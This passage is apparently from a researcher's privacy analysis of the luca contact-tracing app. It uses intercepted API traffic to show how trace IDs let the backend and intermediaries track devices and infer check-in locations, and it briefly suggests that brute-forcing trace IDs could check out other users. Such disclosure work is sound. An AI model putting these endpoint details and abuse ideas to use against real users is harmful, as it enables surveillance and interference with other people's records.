207 |     "publicKey": "BHuLR1yt98FsTfcnqv6IkSKw8Hn9EA597/ojKqxEz+zgL8RXhn/qRafQakqYSPE2CnxiY6oBYIF17ZqH5aZCksA=",
208 |     "scannerId": "ec11e236-cf8a-419a-8644-68c56d8b8939",
209 |     "timestamp": 1618295400,
210 |     "traceId": "CbP29lubGaDIUD+QWJkcPg=="
211 | }
212 | ```
213 | 
214 | In case of a "scanner check-in" this data would be sent to the luca-backend by the "scanner frontend", in case of "self check-in" this request gets sent by the user device. Distinguishing the two cases does not matter for my considerations, as the data always involves the specific `trace ID` used for the check-in (which is already tied to the user device which generated it). Remember: The backend already learned about how `trace IDs` are associated to a user device, even if the IP-Address changes or the device is rebooted.
215 | 
216 | The next step is the one, which is described for the [guest check-in process](https://luca-app.de/securityconcept/processes/guest_app_checkin.html#process) (polling should only happen after check-in):
217 | 
218 | ```
219 | Therefore, the Guest App polls the Luca Server via an unauthenticated connection. This inquires whether a Check-In was uploaded by a Scanner Frontend with a trace ID that the Guest App recently generated. Once this inquiry polling request is acknowledged by the Luca Server, the Guest App assumes that a successful QR code scan and Check-In was performed. Some UI feedback is provided to the Guest.
220 | ```
221 | 
222 | The user device continues to poll the `/traces/bulk` endpoint with the list of generated `trace IDs` including the one which was used for check-in:
223 | 
224 | ### Body data of POST request to `https://app.luca-app.de/api/v3/traces/bulk` after checkin:
225 | 
226 | ```
227 |     "traceIds": [
228 |         "H2Tceqpx1yAl5ej3Mk1aAg==",
229 |         "BHEHUaHvu0du0B0lobzVGw==",
230 |         "50zVzW7ZS5+qPjKfPhdjsg==",
231 |         "E4Rr5NtfbVvPXkoPxnUqew==",
232 |         "s+yvuYyw6t78lGazu5VK1Q==",
233 |         "x1AgyFZg9Y6QcCUsAGEzDw==",
234 |         "72EKGBGsDGpL6JB1EI1p4w==",
235 |         "kNTZZ7Zs0Bb9shXSvlGeJw==",
236 |         "/DI7FvPnlf8bQR3VKWy8cA==",
237 |         "iHxdgTRB7q+sC19Z806urQ==",
238 |         "iHxdgTRB7q+sC19Z806urQ==",
239 |         "AwjP8y56D1ZdhtDM642EKA==",
240 |         "CbP29lubGaDIUD+QWJkcPg=="
241 |     ]
242 | ```
243 | 
244 | While previous requests received an empty JSON array `[]` in response the post-checkin-request receives the following response:
245 | 
246 | ```
247 | [
248 |     {
249 |         "checkin": 1618295400,
250 |         "checkout": null,
251 |         "createdAt": 1618295427,
252 |         "locationId": "866170ab-0d0a-44ca-b441-1fd6e02b3579",
253 |         "traceId": "CbP29lubGaDIUD+QWJkcPg=="
254 |     }
255 | ]
256 | ```
257 | 
258 | So the last `trace ID` for which the device was polling, is now associated to a `location ID`. The fact, that the last `trace ID` in the set used for polling requests, was also the one used for the actual check-in, does not even matter. This is, because the response itself includes the exact `trace ID` used to check-in, but now, the `trace ID` associated to the `locationID`. It is out of question, if the luca-backend has learned about which device is checked-in to which location, as it provides the plain information itself.
259 | 
260 | Before moving on, I want to define the phrase `"...the luca-backend learned..."` more precisely: All observations are based on monitoring legacy HTTP traffic between the app and the backend. This involves interception of the underlying TLS connection. As the luca-backend has to terminate the TLS connection at some point, I am not only talking about identifiers and classifiers learned by the luca-backend operators. The same information is available to all intermediaries placed behind the front-facing TLS endpoint (e.g. proxies, load balancers, WAF providers etc). One could conclude, that intermediaries do not learn about the user's source IP, but this does not hold true, because most intermediaries include the requesters IP address in additional HTTP headers, to preserve it to for actual application server (f.e. `X-Forwarded-For` header). From now on, I will use the term **observer** for to describe an entity which is able to look into plain HTTP content, this **always involves luca backend operators**!
261 | 
262 | Moving on...
263 | 
264 | Once the app received the `loactionId` for the `trace ID` which was used for check-in against the backend, the app **immediately** requests additional (plain) location data from the endpoint `https://app.luca-app.de/api/v3/locations/{locationId}`
265 | 
266 | ### Response body for GET request towards `https://app.luca-app.de/api/v3/locations/866170ab-0d0a-44ca-b441-1fd6e02b3579`
267 | 
268 | ```
269 | {
270 |     "city": "Büchen",
271 |     "createdAt": 1617001391,
272 |     "firstName": "",
273 |     "groupName": "Bürgerhaus",
274 |     "lastName": "",
275 |     "lat": 53.48026,
276 |     "lng": 10.61603,
277 |     "locationId": "866170ab-0d0a-44ca-b441-1fd6e02b3579",
278 |     "locationName": "Sitzungssaal",
279 |     "name": "Bürgerhaus - Sitzungssaal",
280 |     "phone": "",
281 |     "publicKey": "BIb7wN2dShGNOXbzQq8wfW7Q/iv3jWrQSSFbkqjO6O9HuKR1WSxRpAfxYdKByN31qe8HHn+Evnq289RDXHoNtaU=",
282 |     "radius": 0,
283 |     "state": "Schleswig-Holstein",
284 |     "streetName": "Amtsplatz",
285 |     "streetNr": "1",
286 |     "zipCode": "21514"
287 | }
288 | ```
289 | 
290 | ## 5. At this point, an observer of the plain HTTP content has the following information:
291 | 
292 | - checkin `trace ID` (associated to a device, even after reboot, connectivity loss, IP-address change or app restart)
293 | - checkin location, with all relevant data
294 | - checkin time
295 | 
296 | From the single request to `https://app.luca-app.de/api/v3/locations/{locationId}` alone, an observer learns:
297 | 
298 | - plain location data
299 | - high probability for a check-in of the requesting device (IP address, device brand, device model, OS version), because the request appears immediately after check-in
300 | 
301 | Even if an observer is only able to monitor the request method and URL (f.e. a WAF protecting the endpoint, load balancers, log servers etc), she could draw the conclusion that the request is associated to a check-in (of the requesting device) which happened at this exact point in time. The location could be directly derived from the URI path, which includes the `locationID`.
302 | 
303 | In fact, the only thing which is not known to an observer or the backend operators is the content of the `encrypted contact data` (which, again, isn't of much value, because it does not have to be valid).
304 | 
305 | ## 6. post-check-in behavior
306 | 
307 | Once the user has checked in to a location, the data set used to poll `/traces/bulk` changes for the first time.
308 | 
309 | ### Body data of POST request to `https://app.luca-app.de/api/v3/traces/bulk` after check-in:
310 | 
311 | ```
312 | traces3_req={
313 |     "traceIds": [
314 |         "CbP29lubGaDIUD+QWJkcPg=="
315 |     ]
316 | }
317 | ```
318 | 
319 | The data set now only includes the `trace ID` used for the most recent check-in. No new IDs are added to the set anymore (the app generates no new QR codes, as the UI shows the checkout dialog, now).
320 | 
321 | Also, to be more precise, this behavior change dos not occur directly after check-in (there have already been requests with a larger `trace ID sets`, which included the check-in `trace ID` and received the associated `locationID` in response). Instead, the behavior changes after the successful request to the aforementioned endpoint `/locations/{locationId}`. This, again, allows an observer to confirm a successful check-in if she only monitors `/locations/{locationId}`.
322 | 
323 | In addition, the continuous polling of a **single** `trace ID` allows to draw the conclusion that the device is checked-in into a location, using this exact `trace ID` (The `trace ID set` would otherwise get a new `trace ID` appended after 60 seconds. The minimum time interval before a possible checkout is enforced to 60 seconds, too). The check-in location itself, is provided in each HTTP response, now:
324 | 
325 | ```
326 | [
327 |     {
328 |         "checkin": 1618295400,
329 |         "checkout": null,
330 |         "createdAt": 1618295427,
331 |         "locationId": "866170ab-0d0a-44ca-b441-1fd6e02b3579",
332 |         "traceId": "CbP29lubGaDIUD+QWJkcPg=="
333 |     }
334 | ]
335 | ```
336 | 
337 | So there is not even a need to monitor `/traces/bulk` continuously. A single request, which holds only one `traceId` and receives a `locationId` in response, could be safely assumed to indicate, that the device is currently checked-in to this exact location.
338 | 
339 | Such a request is sent every 60 seconds, now (increased polling interval, while user is checked in to a location).
340 | 
341 | ## 7. Checkout
342 | 
343 | The checkout does itself does not add much information, with respect to the scope of this document. But it is worth mentioning, because of some other aspects.
344 | 
345 | ### checkout POST request body against https://app.luca-app.de/api/v3/traces/checkout
346 | 
347 | ```
348 | {
349 |     "timestamp": 1618296420,
350 |     "traceId": "CbP29lubGaDIUD+QWJkcPg=="
351 | }
352 | ```
353 | 
354 | For the checkout, the app provides a timestamp along with the `trace ID` associated to the checkin location. While the backend API places some measures against invalid timestamps (for example sending a checkout timestamp which is smaller than the checkin timestamp produces a 409 response), but an attacker could send random 'trace IDs' with a recent timestamp, to check-out random luca-users. This comes down to brute-forcing of valid 'trace IDs' and shall be countered by rate limiting. As the scenario is not in scope of this document, no tests for proper rate limiting have been carried out.
355 | 
356 | ## 8. post checkout behavior
357 | 
358 | Once the user has checked out, the poling behavior against `/traces/bulk` is the same as described in section `2. Communication after application startup`. Before polling starts, again, the list of polled `trace IDs` is flushed. Still all conditions are met to allow an observer to track a unique device across polling requests (even if the IP-Address changes).
359 | 
360 | There is a single request, which could not be associated to a unique device, based on the transmitted `trace IDs`, as it just contains no `trace ID`. This is the very first request to `/traces/bulk` after the checkout. This is likely, because the next `trace ID` generated by the app was not put to the flushed `trace ID set` before the first polling request was sent. Anyways, this is only true for 3 seconds (which is the new polling interval), as the 2nd request contains a `trace ID`, again.
361 | 
362 | ## Summary of information available to an observer of the `/traces/bulk` endpoint
363 | 
364 | 1. This endpoint continuously receives HTTP requests, which include `trace IDs` which are unique to a single mobile device participating in the luca ecosystem.
365 | 
366 | 2. While the `trace IDs` are suitable to uniquely identify a device, each request includes additional device classifiers (not covered by data protection laws). Those identifiers are not only usable for device fingerprinting. Given the fact that the Luca-system was designed to be extended with interfaces for services which offer less anonymity (f.e. event ticket handling), it should be kept in mind, that the device classifiers collected with each request (IP address, OS Version, device manufacturer, device model, request timestamp) could easily be associated to the same classifiers collected by "other services" for a large time window. This especially gets a problem, if those "other services" are operated by entities which involved in luca-backend operation (which includes possibly includes providers of intermediary sub-services like WAF, DDoS protection etc.).
367 | 
368 | 3. As the `trace IDs` have the property of being unique to a device, they could be used to associated different requests against the endpoint to the same device, in case they are reused throughout successive requests. In fact, not only a single `trace ID` is reused, instead whole sets of `trace IDs` are sent to the endpoint by each device, with a high amount of overlap per participating device. This not only is an enabler for continuos device tracking, it also allows to associate different requests to the same device while its IP-Address has changed, ultimately allowing full-fledged behavior analysis.
369 | 
370 | 4. A device's check-in state is known, by observing the endpoint for more than 60 seconds:
371 | 
372 |    4.1 If a device is not checked-in to a location, the device polls the endpoint in a **3 second interval**, with a continuously growing set of `trace IDs`. Multiple, successive requests of the same device could be associated to each other, based on overlapping `trace IDs`, even if the IP-Address and additional classifiers are disregarded. The state of a `trace ID set` used by a participating device to poll against `/traces/bulk` even survives device a reboot.
373 | 
374 |    4.2 If a device is checked-in to a location, the device polls the endpoint in a **60 second interval**, with a **single** `trace ID`. This trace ID is the one, which was used to check-in to the location. The `locationID` which could be used to obtain detailed plaintext information on the location, is contained in the HTTP response (additional location information could be retrieved from other endpoints, as detailed in this document). Multiple, successive requests of the same device could be associated to each other,based on the single `trace ID`, even if the IP-Address and additional classifiers are disregarded. _Note: If a user is not checked in to a location, a request with a single `trace ID` could still occur, but the response would not contain a `locationId` - also the polling interval would be 3 seconds, not 60 seconds_
375 | 
376 | It should also be noted, that the "security concept" does not clearly state that `trace IDs` are transmitted, whenever the luca app is running in foreground. If anything, it explains that the polling starts after check-in (QR code scan) and ends after UI confirmation of the check-in.
377 | 
378 | ## Conclusion
379 | 
380 | The only information which can not be obtained by observing the `/trace/bulk` endpoint, is the actual user contact data. This isn't worth much, as it has been proven multiple times, that random user contact data could be provided to the luca ecosystem (because the validation could be bypassed, which also affects the provide mobile number). The ability to analyse mobile device behavior as described above, **does not require any interaction with health departments or location owners**. Not only backend operators are able to obtains those information, also every intermediary service behind the front-facing TLS endpoint is able to do so. This of course includes possible attackers, which remain undetected.
381 | 
382 | ### Personal note:
383 | 
384 | The fact that the luca-backend is able to track a unique device accross IP-address changes (based on the unique set of polled tracingIDs) is not only questionable in terms of privacy, it also appears to be absolutely unnecessary. The same is true for the collection of additional device classifiers in the User-Agent string, they just have no proper use in the advertised anonymous check-in tracing system.
385 | 


--------------------------------------------------------------------------------